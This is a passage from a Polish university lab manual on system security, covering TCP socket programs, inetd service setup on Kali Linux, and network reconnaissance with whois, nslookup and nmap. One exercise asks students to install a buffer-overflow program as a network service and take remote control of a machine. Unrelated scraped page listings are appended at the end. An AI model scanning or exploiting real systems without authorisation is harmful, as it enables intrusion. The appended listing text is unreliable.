blad("send"); printf("odpowiedz wyslana - %d bajtow\n",res); sleep(1); } while (1); close(msgsock); } } while (1); printf("koniec\n"); } /* Main */ Przykład 14-1 Serwer tcp_serw.c działający w trybie z kontrolą połączenia

110 Bezpieczeństwo systemów i usług informatycznych 110 // Program odbiera dane od programu tcp-serw // uruchomionego na wezle addr. Uzywany port 2000 // Uruchomienie: tcp-client addr #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #define MY_PORT 2000 #define TSIZE 32 typedef struct { // Komunikat int typ; char tekst[tsize]; } komunikat_t; main(int argc, char *argv[]){ int sock, cnt,res; struct sockaddr_in server; struct hostent *hp, *gethostbyname(); komunikat_t msg; // Tworzenie gniazdka sock = socket(af_inet, SOCK_STREAM, 0); if (sock < 0) { perror("blad gniazdka"); exit(1); } // Uzyskanie adresu maszyny z linii polecen server.sin_family = AF_INET; hp = gethostbyname(argv[1]); if (hp == 0) { printf("%s nieznany\n",argv[1]); exit(2); } memcpy(&server.sin_addr, hp->h_addr, hp->h_length); server.sin_port = htons(my_port); // Proba polaczenia if (connect(sock,(struct sockaddr *) &server, sizeof(server)) < 0) { perror("polaczenie"); exit(1); } printf("polaczenie nawiazane\n");

111 Bezpieczeństwo systemów i usług informatycznych 111 } // Petla odczytu cnt = 0; memset(&msg,0,sizeof(msg)); msg.typ = 1; do { sprintf(msg.tekst,"komunikat %d",cnt); res = send(sock,&msg,sizeof(msg),0); printf("zapis %d bajtow\n",res); cnt++; res = recv(sock,&msg,sizeof(msg),msg_waitall); if(res < 0) { perror("blad odczytu"); break; } if(res == 0) { printf("polaczenie zamkniete"); break; } printf("msg = %d Tekst = %s\n",cnt,msg.tekst); } while( cnt < 10 ); Przykład 14-2 Klient tcp_cli.c w trybie z kontrolą połączenia 14.2 Zadania Program przykładowy Uruchom podany powyżej program przykładowy. Procesy wysyłający i odbierający komunikaty powinny być na oddzielnych komputerach. Wykonaj polecenie: netstat -atp aby zaobserwować otwarty port programu odbierającego komunikaty Program testowania połączeń tcp Na podstawie podanego wyżej programu napisz parę programów do testowania połączeń sieciowych tcp. tcp_odb port program nasłuchujący na danym jako argument porcie. Program odbiera znaki aż do napotkania znaku nowej linii \n po którym wyprowadza napis na konsolę. tcp_nad adres port program łączy się z hostem adres na podany port i odbiera znaki z klawiatury (np. funkcją gets()). Po napotkania znaku nowej linii \n program wysyła łańcuch do serwera Przesyłanie komunikatów pomiędzy komputerami uzyskiwanie czasu i nazwy zdalnego komputera Serwer odbiera komunikaty wysyłane przez klientów i podaje swoja nazwę i czas bieżacy. Procesy klienta i serwera uruchamiane są niezależnie z linii poleceń. typedef struct { int typ; // typ komunikatu int nr_pol; // Numer polaczenia (dla wersji polaczeniowej) char nazwa[size1]; // nazwa komputera char czas[size2]; // Data i czas lokalny w postaci łańcucha } mss_t; Klient Zapytanie leo5 pon 4 kwie :29 CEST Serwer Rys Współpraca klienta i serwera Proces serwera Serwer wykonuje następujące kroki: Utworzenie gniazdka, wejście w tryb nasłuchu i oczekiwanie na połączenia Obiór zleceń klientów.

112 Bezpieczeństwo systemów i usług informatycznych 112 Odpowiedź na zlecenia klientów polegająca na podaniu nazwy komputera (funkcja hostname) i daty i czasu bieżącego (funkcja ctime). Proces klienta Proces klienta uruchamiany jest z parametrem: adres IP węzła na którym uruchomiony jest klient (np. klient ). Klient wykonuje następujące kroki: Utworzenie gniazdka Połączenie się z serwerem Wysyłanie komunikatu z zapytaniem do serwera. Pole typ ma zawierać 1. Odbiór i wyświetlanie odpowiedzi serwera.

113 Bezpieczeństwo systemów i usług informatycznych Usługi sieciowe i ich konfiguracja 15.1 Usługi sieciowe Plik /etc/services określa zasób dostępnych usług sieciowych. Każda linia zawiera kolejno: nazwę usługi, numer przypisanego jej portu, typ usługi przypisane danej usłudze aliasy (opcjonalnie). Przykład pliku /etc/services: Usługa Port/ Alias Komentarz protokół echo 7/tcp echo 7/udp daytime 13/tcp daytime 13/udp netstat 15/tcp ftp-data 20/tcp ftp 21/tcp ssh 22/tcp # SSH Remote Login Protocol ssh 22/udp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver nameserver 42/tcp name # IEN 116 tftp 69/udp www 80/tcp http # WorldWideWeb HTTP www 80/udp # HyperText Transfer Protocol rtelnet 107/tcp # Remote Telnet rtelnet 107/udp pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 sunrpc 111/tcp portmapper # RPC 4.0 portmapper sunrpc 111/udp portmapper ntp 123/udp # Network Time Protocol snmp 161/tcp # Simple Net Mgmt Protocol snmp 161/udp # Simple Net Mgmt Protocol Tab Fragment pliku /etc/services Nr Nazwa Funkcja 1 echo Odsyłanie odebranych znaków do klienta 2 ftp Przesyłanie plików FTP 3 tftp Trywialne przesyłanie plików 4 telnet Interpreter poleceń 5 www Serwer WWW 6 smtp Obsługa poczty elektronicznej 7 sunrpc Łącznik zdalnego wywoływanie procedur RPC 8 pop3 Obsługa poczty elektronicznej 9 rtelnet Zdalny interpreter poleceń 10 ssh Bezpieczna konsola 11 netstat Prezentacja aktualnych połączeń sieciowych Tabela 15-1 Niektóre usługi wyszczególnione w pliku /etc/services 15.2 Superserwer sieciowy inetd W systemie Linux i Unix dostępnych jest wiele usług dostępnych przez sieć. Gdyby serwery tych usług były cały czas aktywne blokowałyby zasoby systemowe gdyż znaczna część tych usług byłaby aktywowana tylko niekiedy. Komputer może świadczyć usługi na dwa sposoby:

114 Bezpieczeństwo systemów i usług informatycznych 114 Usługa może być cały czas dostępna tak jest w przypadku intensywnie wykorzystywanych, uruchamiana jest przy starcie systemu jako demon Usługa aktywowana na żądanie rozwiązanie stosowane gdy usługa potrzebna jest od czasu do czasu. W praktyce rzadziej potrzebne usługi są aktywowane przez super serwer sieciowy inetd. W zależności od dystrybucji mogą być używane różne klony programu inetd: xinetd, openbsd-inetd, netkit-inetd, inetutils-inetd, micro-inetd, rlinetd Plik konfiguracyjny Przy starcie inetd odczytuje swój plik konfiguracyjny (zwykle /etc/inetd.conf). Każda linia pliku zawiera następujące informacje: Nazwa usługi Styl komunikacji gniazdka stream, dgram, raw. Typ protokołu - udp, tcp. Opcje - {wait nowait}[/max-child[/max-connections-per-ip-per-minute[/max-childper-ip]]] Użytkownik, grupa Nazwa programu wykonującego usługę Argumenty programu Opcja wait nowait specyfikuje czy nowy demon usługi ma być uruchomiony współbieżnie czy czekać aż bieżący demon się zakończy. Gniazdka typu dgram muszą mieć opcję wait podczas gdy gniazda typu stream używają zwykle opcji nowait. #<service_name> <sock_type> <proto> <flags> <user> <server_path> <args> # #:STANDARD: These are standard services. ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd telnet stream tcp nowait root /usr/ucb/telnetd in.telnetd tftp dgram udp wait bin /usr/ucb/tftpd in.tftpd Przykład 15-1 Plik konfiguracyjny /etc/inetd.conf Działanie superserwera inetd Na podstawie danych znalezionych w pliku konfiguracyjnym inetd tworzy odpowiednią ilość nasłuchujących gniazd - po jednym dla każdej zdefiniowanej tam usługi. Następnie wykonuje select() na gniazdach czekając na połączenia przychodzące. Kiedy wykryje, próbę połączenia wywołuje funkcję accept() i tworzy nowy proces (fork()) obsługujący to nowe połączenie. W kolejnych krokach przekierowuje stdin / stdout do utworzonego gniazda (funkcja dup2()) oraz uruchamia właściwego demona obsługującego daną usługę poprzez wykonanie funkcji exec().demony realizujące daną usługę mają postać zwykłych programów korzystających ze standardowych strumieni I/O. Funkcje związane z obsługą sieci są przenoszone na inetd. Dzięki temu nasz demon może kontaktować się ze zdalnym klientem identycznie, jak z użytkownikiem operującym na lokalnej konsoli. Demon może pisać na stdout (np. printf()) i czytać ze stdin (scanf(), read()). Mechanizm ten zapewnia możliwość sieciowej komunikacji programom, które nie zawierają ani jednej linijki kodu sieciowego. Poniżej podano przykład takiego programu który zapisuje przychodzące dane do pliku którego nazwa jest pierwszym argumentem.

115 Bezpieczeństwo systemów i usług informatycznych 115 #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ const char *fn = argv[1]; FILE *fp = fopen(fn, "a+"); if(fp == NULL) exit(exit_failure); char str[4096]; //inetd przesyła informacje do stdin programu while(fgets(str, sizeof(str), stdin)) { fputs(str, fp); fflush(fp); } fclose(fp); return 0; } Przykład 15-2 Demon sieciowy rejestr.c zapisujący przychodzące dane do pliku W pliku /etc/services powinien się znaleźć wpis definiujący tę usługę którą możemy nazwać rejestr i będzie zainstalowana na porcie UDP rejestr 9999/udp W pliku /etc/inetd.conf należy dodać wpis: rejestr dgram udp wait root /home/juka/rejestr /tmp/logfile.txt Wpis ten informuje że usługa rejestr polega na uruchomieniu programu logd który będzie zapisywał dane w pliku /tmp/logfile.txt 15.3 Konfiguracja usług sieciowych w Kali Linux Pierwotnie w systemie Kali Linux są zainstalowane nieliczne usługi sieciowe (tylko ssh). Dodatkowe usługi muszą być zainstalowane oddzielnie. ftpd -Przesyłanie plików FTP tftp -Trywialne przesyłanie plików telnetd -Interpreter poleceń telnet sshd -Serwer usług ssh fingerd -Serwer usługi finger Można to zrobić tak jak podano poniżej: #apt-get install tftpd #apt-get install ftpd #apt-get install telnetd #apt-get install fingerd #apt-get install openssh-server (gdy potrzeba) Przykładowy plik konfiguracyjny demona inetd w Kali Linux podano poniżej. # /etc/inetd.conf: see inetd(8) for further informations. # # Internet superserver configuration database # # Lines starting with "#:LABEL:" or "#<off>#" should not # be changed unless you know what you are doing! # # If you want to disable an entry so it isn't touched during # package updates just comment it out with a single '#' character. # # Packages should modify this file by using update-inetd(8) # # <service_name> <sock_type> <proto> <flags> <user> <server_path> <args> # #:INTERNAL: Internal services

116 Bezpieczeństwo systemów i usług informatycznych 116 #discard stream tcp nowait root internal #discard dgram udp wait root internal #daytime stream tcp nowait root internal #time stream tcp nowait root internal #:STANDARD: These are standard services. telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /srv/tftp Przykład 15-3 Plik konfuracyjny /etc/inetd.conf Plik inetd.conf raczej nie powinien być edytowany ręcznie, należy wykorzystać program update-inetd. Pozostaje jeszcze problem jak uruchomić superserwer inetd. W systemie Kali Linux czynność tę wykonuje demon systemd. Komunikujemy się z nim za pomoca poleceń systemctl. systemctl list-units Listowanie zainstalowanych jednostek systemctl status jednostka Pobieranie statusu jednostki systemctl enable jednostka Aktywacja jednostki systemctl disable jednostka Deaktywacja jednostki systemctl restart jednostka Restart jednostki Tabela 15-2 Podstawowe polecenia systemctl root@kali:~/lab/zasoby# systemctl status inetd inetd.service - Internet superserver Loaded: loaded (/lib/systemd/system/inetd.service; enabled; vendor preset: disabl Active: active (running) since Thu :41:35 EST; 1h 53min ago Docs: man:inetd(8) Main PID: (inetd) Tasks: 1 (limit: 4915) CGroup: /system.slice/inetd.service /usr/sbin/inetd -i Nov 10 09:41:35 kali systemd[1]: Started Internet superserver. Przykład 15-4 Testowanie statusu superserwera inetd O tym czy startowane przez inetd usługi są uruchomione możemy przekonać się przy pomocy polecenia: lsof i jak pokazano poniżej. root@kali:~/lab/zasoby# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME rsyslogd 5656 root 10u IPv t0 UDP *:36127 dhclient 6509 root 6u IPv t0 UDP *:bootpc sshd root 3u IPv t0 TCP *:ssh (LISTEN) sshd root 4u IPv t0 TCP *:ssh (LISTEN) inetd root 4u IPv t0 TCP *:telnet (LISTEN) inetd root 5u IPv t0 TCP *:ftp (LISTEN) inetd root 6u IPv t0 TCP *:finger (LISTEN) inetd root 7u IPv t0 UDP *:tftp Przykład 15-5 Testowanie stanu usług sieciowych Niektóre usługi startowane są poza usługą systemctl. Należy do nich demon usługi sshd. Należy go kontrolować za pomocą skryptu: /etc/init.d/ssh start root@kali:~# /etc/init.d/ssh start [ ok ] Starting ssh (via systemctl): ssh.service. root@kali:~# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 4169 root 3u IPv t0 TCP *:ssh (LISTEN) sshd 4169 root 4u IPv t0 TCP *:ssh (LISTEN)

117 Bezpieczeństwo systemów i usług informatycznych 117 root@kali:~# /etc/init.d/ssh status ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled) Active: active (running) since Thu :50:50 EST; 8min ago Main PID: 4169 (sshd) Tasks: 1 (limit: 4915) CGroup: /system.slice/ssh.service 4169 /usr/sbin/sshd -D 15.4 Zadania Instalacja i konfiguracja usług sieciowych Zainstaluj i przetestuj nastepujące usługi sieciowe: telned, ftpd, tftpd, fingerd. Sprawdź działanie tych usług i ich widoczność za pomocą programów netstat i lsof Ustanawianie ograniczeń na połączenia sieciowe Dla wybranej usługi (np. telnet, ftp) ustaw w pliku inetd.conf następujące ograniczenia: max-child max-connections-per-ip-per-minute max-child-per-ip Utworzeni własnej usługi sieciowej Wykorzystując podany wcześniej przykład rejestr.c utwórz i zainstaluj własną usługę sieciową polegającą na zapisie danych do pliku Tworzenie sieciowej wersji exploita typu przepełnienie bufora Wykorzystując opracowany wcześniej program bufshell.c zainstaluj go jako usługę sieciową i przejmij zdalnie kontrolę nad komputerem wykorzystując przepełnienie bufora.

118 Bezpieczeństwo systemów i usług informatycznych 118

119 Bezpieczeństwo systemów i usług informatycznych Eksploracja sieci 16.1 Rozpoznawanie nazw hostów Ważną funkcjonalnością warstwy sieciowej jest możliwość rozpoznawania nazw hostów. Polega to na tym że na podstawie nazwy symbolicznej hosta podawany jest jego adres IP. Informacje o działaniu systemu DNS otrzymywane są albo z plików konfiguracyjnych albo częściej na skutek działania systemu DHCP. Uzyskiwanie adresu IP hosta odbywa się poprzez wysłanie zapytania do serwera nazw (ang. nameserver). Jego adres powinien być zawarty w pliku: /etc/resolv.conf. root@kali:~/lab/log# cat /etc/resolv.conf # Generated by NetworkManager nameserver Adres IP danego hosta może być uzyskany za pomocą polecenia host. root@kali:~/lab/log# host wp.pl wp.pl has address wp.pl mail is handled by 0 mx.wp.pl. wp.pl mail is handled by 5 mx5.wp.pl. Przykład 16-1 Uzyskanie adresu IP na podstawie nazwy hosta za pomocą polecenia host Podobne informacje uzyskać można za pomoca polecenia nslookup. Informacje te uzyskiwane sa z systemu DNS. #nslookup nazwa_serwera root@kali:~/lab/zasoby# nslookup staff.iiar.pwr.wroc.pl Server: Address: #53 Non-authoritative answer: Name: staff.iiar.pwr.wroc.pl Address: Przykład 16-2 Uzyskanie adresu IP na podstawie nazwy hosta za pomocą polecenia nslookup 16.2 Uzyskiwanie danych o domenach - polecenie whois System WHOIS został zbudowany jako narzędzie przy pomocy którego administratorzy systemów mogli znajdować informacje umożliwiające skontaktowanie się z innymi administratorami odpowiedzialnymi za serwery działające z określonym numerem IP lub domeną. Informacje które można uzyskać za pomocą tego systemu używane są też w innych technologiach jak uwierzytelnianie certyfikatów czy zestawianie połączeń SSL. W odpowiedzi na zapytanie, WHOIS system może zwrócić zwróci dane dotyczące: nazwy Abonenta adresu Abonenta datę rejestracji datę wznowienia kontakt techniczny informacje o podmiocie rejestrującym Zapytania whois mogą dotyczyć zarówno okreslonego serwera jak i domeny. Zapytanie zadać można za pomocą polecenia whois. Informacje o parametrach polecenia uzyskujemy przy pomocy polecenia: #whois h Najprostszy sposób użycia to: #whois ip_serwera lub nazwa_serwera root@kali:~/lab/zasoby# whois inetnum: netname: WASK country: PL

120 Bezpieczeństwo systemów i usług informatycznych 120 role: WASK Operations address: Wroclaw Centre for Networking and Supercomputing address: Plac Grunwaldzki 9 address: Wroclaw, Poland phone: phone: phone: fax-no: Przykład 16-3 Uzyskiwanie informacji o właścielu domeny do której należy serwer za pomocą zapytania whois Uzyskiwanie adresu IP serwera 16.3 Program nmap Program nmap (ang. network mapper) przeznaczony jest do eksploracji sieci i wspomaga wykonywanie audytów bezpieczeństwa. Jego opis znajduje się w [22]. Program wysyła pakiety IP do wykrywania jakie komputery są dostępne w sieci, jakie usługi są na nich dostępne (podawana jest nazwa aplikcji), podaje jaki system operacyjny jest zainstalowany. Wynikiem działania programu nmap jest lista sprawdzonych adresów z dodatkowymi informacjami. Jedną z wazniejszych informacji jest lista interesujących portów. Zawiera ona numery portów wraz z protokołami, nazwami usługi i wykrytym stanem. Rozróżniane stany portów to: otwarty - istnieje aktywna aplikacja związana z tym portem filtrowany - system zabezpieczeń nie dopuszcza do komunikacji z tym portem zamknięty - nie ma aplikacji związanej z danym portem niefiltrowany - port odpowiada na zapytanie ale program nie jest w stanie ustalić jaka aplikacja związana jest z tym portem. Oprócz listy portów program podaje także inne informacje dotyczące komputerów obecnych pod badanymi adresami IP. Należą do nich: typ systemu operacyjnego odwrotne nazwy DNS adres MAC interfejsu sieciowego Składnia polecenia jest następująca: nmap [typ_skanowania] [opcje] {okreslenie_celu} Przykład uruchomienia programu nmap podano poniżej. Opcja A ma na celu wykrycie systemu operacyjnego, opcja T4 zapewnia szybsze działanie a skanowanie ma dotyczyć komputera o nazwie lab103. juka@lab103:~$ nmap -A -T4 lab103 Starting Nmap 5.21 ( ) at :33 CET Nmap scan report for lab103 ( ) Host is up ( s latency). Hostname lab103 resolves to 2 IPs. Only scanned Not shown: 989 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.8p1 Debian 7 (protocol 2.0)... 25/tcp open smtp Sendmail /8.14.4/Debian-2 smtp-commands: EHLO lab103.ict.pwr.wroc.pl Hello localhost [ ],.. 80/tcp open http nginx /tcp open http nginx _html-title: phpmyadmin 82/tcp open http nginx html-title: Laboratorium Instytutu Informatyki, Automatyki i Robotyki - St...

121 Bezpieczeństwo systemów i usług informatycznych 121 _Requested resource was 111/tcp open rpcbind 2 (rpc #100000) /tcp open ssh OpenSSH 5.8p1 Debian 7 (protocol 2.0) /tcp open nfs 2-4 (rpc #100003) 5666/tcp open tcpwrapped 32768/tcp open nlockmgr 1-4 (rpc #100021) 32769/tcp open rquotad 1-2 (rpc #100011) Service Info: Host: lab103.ict.pwr.wroc.pl; OSs: Linux, Unix Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds Przykład 16-1 Uzyskiwanie informacji o komputerze lab103 za pomocą programu nmap Specyfikacja celu W specyfikacji celu można podawać nazwy komputerów, adresy IP lub ich zakresy, adresy sieci. Nazwy komputerów: nmap host1 host2 host2 Adresy zakres od do : nmap Do specyfikacji adresów można też użyć notacji CDIR [24]. W notacji tej po adresie IP natępuje ukośnik i liczba bitów części sieciowej adresu. Przy skanowaniu ta część nie ulega zmianie (część sieciowa liczona jest od bardziej znaczących bitów adresu) tak więc w poleceniu nmap /24 część sieciowa liczy 24 bity i nie ulega zmianie. Zmieni się tylko 8 najmłodszych bitów z 32 bitowego adresu. Zatem zakres /24 będzie identyczny z zapisem Z badania można wykluczyć pewne adresy np host1 [,host2] [,host3] posługując się opcją --exclude. -- exclude host1 [,host2] [,host3],... Lista wyłączonych ze skanowania adresów może też być podana w pliku (np. plik_wylaczen) co sygnalizuje się opcją: --excludefile plik_wyłączen Można też losować zadaną liczbę adresów IP co następuje po opcji: -ir <ilość hostów> Specyfikacja portów W poleceniach skanowania możemy specyfikować porty. Specyfikacja jest postaci: -p zakres_portów Zakres portów podaje się: wymieniając je oddzielone przecinkiem - np: -p 20,21,22,23 podając zakres od-do - np: -p Można także podać czy chodzi o protokół UDP czy TCP dla UDP poprzedzamy port literą U - np: -p U:20,23 dla TCP poprzedzamy port literą T - np: -p T:20,23 $nmap -PS -p 20-23, Nmap scan report for dyn ict.pwr.wroc.pl ( ) Host is up ( s latency). PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp open ftp 22/tcp closed ssh 23/tcp open telnet 80/tcp closed http Przykład 16-2 Specyfikacja portów z zakresu 20 do 23 oraz portu 80 Wykrywanie komputerów

122 Bezpieczeństwo systemów i usług informatycznych 122 Skanowanie wszystkich portów z wybranego zakresu adresów IP jest czasochłonne i zazwyczaj niepotrzebne. Zakres skanowania portów zależy od celu badania. Program nmap umożliwia różne metody wykrywania aktywnych komputerów. -sp - skanowanie ping juka@lab103:~$ nmap -sp Starting Nmap 5.21 ( ) at :13 CET Nmap scan report for hip.ict.pwr.wroc.pl ( ) Host is up ( s latency). Nmap scan report for Host is up ( s latency).... Nmap scan report for ClusterStorage.ict.pwr.wroc.pl ( ) Host is up ( s latency). Nmap done: 256 IP addresses (27 hosts up) scanned in 2.11 seconds Przykład 16-3 Wykrywanie aktywnych komputerów z zakresu z użyciem opcji -sp (skanowanie ping) Wykrywanie otwartych portów Otwarty port to taki port z którym można nawiązać połączenie. Jedną z możliwości jest wysłanie na dany port znaku SYN

123 Bezpieczeństwo systemów i usług informatycznych 123 juka@lab103:~$ nmap -PS Starting Nmap 5.21 ( ) at :11 CET Nmap scan report for dyn ict.pwr.wroc.pl ( ) Host is up ( s latency). Not shown: 996 closed ports PORT STATE SERVICE 9/tcp open discard 21/tcp open ftp 23/tcp open telnet... Nmap done: 21 IP addresses (7 hosts up) scanned in seconds Przykład 16-4 Wykrywanie otwartych portów w komputerach z zakresu Przykłady Skanowanie portów wybranego komputera: nmap -v adres_ip juka@lab103:~$ nmap -v x.x Starting Nmap 5.21 ( ) at :48 CET Scanning x.ict.pwr.wroc.pl ( x.x) [1000 ports] Discovered open port 111/tcp on x.x... Completed Connect Scan at 11:48, 27.12s elapsed (1000 total ports) Nmap scan report for x.ict.pwr.wroc.pl ( x.x) Host is up ( s latency). Not shown: 975 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open rpcbind 443/tcp open https 513/tcp open login 514/tcp open shell 2049/tcp open nfs 4045/tcp open lockd 7100/tcp open font-service Nmap done: 1 IP address (1 host up) scanned in seconds Przykład 16-5 Przykład skanowanie portów wybranego komputera

124 Bezpieczeństwo systemów i usług informatycznych 124 Znajdowanie serwerów WWW w segmencie sieci nmap -P0 -p /tcp filtered http Nmap scan report for plonk.ict.pwr.wroc.pl ( ) Host is up. PORT STATE SERVICE 80/tcp filtered http... Nmap done: 128 IP addresses (128 hosts up) scanned in 0.73 seconds juka@lab103:~$ nmap -P0 -p Przykład 16-6 Szukanie serwerów WWW w zakresie Zenmap - interfejs graficzny do programu nmap Istnieje wiele interfejsów graficznych (ang. frontend) do programu nmap ułatwiających wprowadzanie parametrów i interpretację wyników. Jednym z polecanych jest program zenmap ( Można go zainstalować poleceniem: sudo apt-get install zenmap Ekran 16-1 Przykład działania programu zenmap

Procesy pojęcia podstawowe. 1.1 Jak kod źródłowy przekształca się w proces

Procesy pojęcia podstawowe. 1.1 Jak kod źródłowy przekształca się w proces Procesy pojęcia podstawowe 1 1.1 Jak kod źródłowy przekształca się w proces W języku wysokiego poziomu tworzy się tak zwany kod źródłowy który po zapisaniu będzie plikiem z programem źródłowym. Plik źródłowy

Bardziej szczegółowo

1. Kompilacja i uruchamianie programów

1. Kompilacja i uruchamianie programów 1. Kompilacja i uruchamianie programów 1.1 Jak kod źródłowy przekształca się w proces Kod aplikacji tworzony jest zazwyczaj w języku wysokiego poziomu np. C. Plik źródłowy przetwarzany jest przez kompilator

Bardziej szczegółowo

INSTYTUT INFORMATYKI, AUTOMATYKI I ROBOTYKI POLITECHNIKI WROCŁAWSKIEJ

INSTYTUT INFORMATYKI, AUTOMATYKI I ROBOTYKI POLITECHNIKI WROCŁAWSKIEJ Programowanie aplikacji współbieżnych i rozproszonych w systemie Linux 1 INSTYTUT INFORMATYKI, AUTOMATYKI I ROBOTYKI POLITECHNIKI WROCŁAWSKIEJ Na prawach rękopisu Raport serii PREPRINTY nr: / 2016 Programowanie

Bardziej szczegółowo

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. 1. Przygotowanie środowiska programistycznego. Zajęcia będą

Bardziej szczegółowo

Fragment wykładu z języka C ( )

Fragment wykładu z języka C ( ) Fragment wykładu z języka C (2002-2009) Piotr Szwed pszwed@agh.edu.pl Program make Typowy program w języku C/C++ składa się z wielu odrębnych modułów (jednostek translacji). Ich liczba może dochodzić do

Bardziej szczegółowo

Pracownia Komputerowa wykład II

Pracownia Komputerowa wykład II Pracownia Komputerowa wykład II dr Magdalena Posiadała-Zezula http://www.fuw.edu.pl/~mposiada 1 Systemy operacyjne! Windows np. Windows 8.! Systemy unixowe:! Linux i Mac OS X 2 Logowanie na konta studenckie!

Bardziej szczegółowo

Wstęp do Informatyki i Programowania Laboratorium: Lista 0 Środowisko programowania

Wstęp do Informatyki i Programowania Laboratorium: Lista 0 Środowisko programowania Wstęp do Informatyki i Programowania Laboratorium: Lista 0 Środowisko programowania Przemysław Kobylański Wprowadzenie Każdy program w C musi zawierać przynajmniej funkcję o nazwie main(): Aby możliwe

Bardziej szczegółowo

Znaki globalne w Linuxie

Znaki globalne w Linuxie Znaki globalne w Linuxie * reprezentuje jeden lub wiele znaków (wild-card character)? reprezentuje dokładnie jeden znak (wild-card character) [abcde] reprezentuje dokładnie jeden znak z wymienionych [a-e]

Bardziej szczegółowo

Ćwiczenie 1. Podstawowe wiadomości

Ćwiczenie 1. Podstawowe wiadomości Ćwiczenie 1. Cel ćwiczenia: Zapoznanie się z podstawowymi poleceniami systemu Linux. Poznanie praw dostępu do plików oraz struktury katalogów systemu Linux. Podstawowe informacje o systemie. Podstawowe

Bardziej szczegółowo

Cwiczenie nr 1 Pierwszy program w języku C na mikrokontroler AVR

Cwiczenie nr 1 Pierwszy program w języku C na mikrokontroler AVR Cwiczenie nr 1 Pierwszy program w języku C na mikrokontroler AVR Zadanie polega na napisaniu pierwszego programu w języku C, jego poprawnej kompilacji i wgraniu na mikrokontroler. W tym celu należy zapoznać

Bardziej szczegółowo

2. System uprawnień w linuxie

2. System uprawnień w linuxie 2. System uprawnień w linuxie Uprawnienia do plików: -rw-r--r-x 1 pawelza students 0 Lis 17 08:21 plik Mamy tutaj trzy grupy uprawnień: -rw - dla właściciela (owner, oznaczany też "user" reprezentowany

Bardziej szczegółowo

Pracownia Komputerowa wyk ad II

Pracownia Komputerowa wyk ad II Pracownia Komputerowa wykad II dr Magdalena Posiadaa-Zezula Magdalena.Posiadala@fuw.edu.pl http://www.fuw.edu.pl/~mposiada Magdalena.Posiadala@fuw.edu.pl 1 Systemy operacyjne Windows np. Windows 8. Systemy

Bardziej szczegółowo

Linux cz.3: polecenia systemowe, ćwiczenia

Linux cz.3: polecenia systemowe, ćwiczenia Linux cz.3: polecenia systemowe, ćwiczenia Wykład: polecenia terminala, manualia systemowe, uprawnienia, kompresja, archiwizacja, ukrywanie plików, sudo su, ps, kill, chmod, chown, tar, gzip, whoami, ls,

Bardziej szczegółowo

Linux: System Plików

Linux: System Plików Linux: System Plików Systemy Operacyjne Mateusz Hołenko 3 marca 2013 Plan zajęć Wszystko jest plikiem Obsługa systemu plików Prawa dostępu Wyszukiwanie Mateusz Hołenko Linux: System Plików [2/24] Wszystko

Bardziej szczegółowo

Prawa dostępu do plików

Prawa dostępu do plików Prawa dostępu do plików Wszystkie pliki systemów uniksowych posiadają swoje prawa dostępu dla zapisu, odczytu i wykonywania. Jeżeli dotychczas spotykałeś się z systemami Windows na partycjach FAT - możesz

Bardziej szczegółowo

Automatyzacja kompilacji. Automatyzacja kompilacji 1/28

Automatyzacja kompilacji. Automatyzacja kompilacji 1/28 Automatyzacja kompilacji Automatyzacja kompilacji 1/28 Automatyzacja kompilacji 2/28 Wstęp Polecenia kompilacji gcc -Wall -c komunikat.c -o komunikat.o gcc -Wall -c main.c -o main.o gcc -Wall -c test.c

Bardziej szczegółowo

Linux. Uprawnienia pliku / katalogu, właściciel pliku, UID, GID, sticky bit.

Linux. Uprawnienia pliku / katalogu, właściciel pliku, UID, GID, sticky bit. Strona1 Linux Uprawnienia pliku / katalogu, właściciel pliku, UID, GID, sticky bit. Strona2 Spis treści Spis treści... 2 Ogólny schemat uprawnieo.... 3 Identyfikatory typu... 3 Sposoby nadawania uprawnieo...

Bardziej szczegółowo

Tworzenie oprogramowania

Tworzenie oprogramowania Tworzenie oprogramowania Język C Budowa programu napisanego w języku C podział na pliki z definicjami funkcji, korzystanie z bibliotek systemowych i własnych automatyzacja kompilacji za pomocą make dzielenie

Bardziej szczegółowo

Kurs systemu Unix wykład wstępny. Kurs systemu Unix 1

Kurs systemu Unix wykład wstępny. Kurs systemu Unix 1 Kurs systemu Unix wykład wstępny Kurs systemu Unix 1 Cele wykladu Zdobycie podstawowej wiedzy o systemie i jego narzędziach. Poznanie unixowych języków skryptowych (bash, awk,...). Nauka programowania

Bardziej szczegółowo

PRACOWNIA INFORMATYCZNA BASH - PODSTAWOWE INFORMACJE

PRACOWNIA INFORMATYCZNA BASH - PODSTAWOWE INFORMACJE PRACOWNIA INFORMATYCZNA BASH - PODSTAWOWE INFORMACJE Magda Mielczarek Pracownia Informatyczna 2015/2016 1 Podstawowe definicje Linux system operacyjny, które oferuje kompletne środowisko programistyczne

Bardziej szczegółowo

SYSTEMY OPERACYJNE I laboratorium 3 (Informatyka stacjonarne 2 rok, semestr zimowy)

